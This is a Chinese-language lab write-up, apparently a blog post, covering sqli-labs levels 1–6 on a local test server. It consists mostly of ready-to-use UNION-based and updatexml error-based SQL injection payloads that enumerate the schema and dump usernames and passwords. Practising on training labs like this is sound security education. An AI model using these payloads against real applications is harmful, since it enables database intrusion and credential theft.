SQL注入漏洞复现1

一、靶场信息

sqli-labs下载:https://github.com/Audi-1/sqli-labs

phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip

我是在本地安装小皮搭建环境,相比于在服务器上搭建环境,更加简单

二、注入实操

Less-1

复制代码
爆库名:http://127.0.0.1:100/Less-1/?id=-1' union select 1,2,database()--+
复制代码
爆表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
复制代码
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

Less-2

复制代码
爆库名:?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1 union select 1,2,database()--+
复制代码
爆表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

Less-3

复制代码
爆库名:?id=-1')  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1') union select 1,2,database()--+
复制代码
爆表名:?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4

复制代码
爆库名:?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1") union select 1,2,database()--+
复制代码
爆表名:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5

复制代码
爆库名:?id=1' and updatexml(1,concat(0x7e,database(), 0x7e),1)--+
复制代码
爆表名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+

字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,32), 0x7e),1)--+
复制代码
爆列名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
复制代码
字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

Less-6

复制代码
爆库名:?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
复制代码
爆表名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+
复制代码
爆列名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
相关推荐
Fortinet_CHINA2 小时前
工业网络安全新范式——从风险可见性到量化防御的进化
安全·web安全
网安小白的进阶之路4 小时前
A模块 系统与网络安全 第三门课 网络通信原理-3
网络·windows·安全·web安全·系统安全
HumanRisk4 小时前
HumanRisk-自动化安全意识与合规教育平台方案
网络·安全·web安全·网络安全意识教育
先睡5 小时前
优化MySQL查询
数据库·sql
古月居GYH10 小时前
【数据分析】如何在PyCharm中高效配置和使用SQL
ide·sql·pycharm
安全系统学习11 小时前
【网络安全】Mysql注入中锁机制
安全·web安全·网络安全·渗透测试·xss
深圳安锐科技有限公司15 小时前
深圳安锐科技发布国内首款4G 索力仪!让斜拉桥索力自动化监测更精准高效
运维·安全·自动化·自动化监测·人工监测·桥梁监测·索力监测
潘锦15 小时前
海量「免费」的 OPENAI KEY,你敢用吗?
安全·openai
冰橙子id15 小时前
linux系统安全
linux·安全·系统安全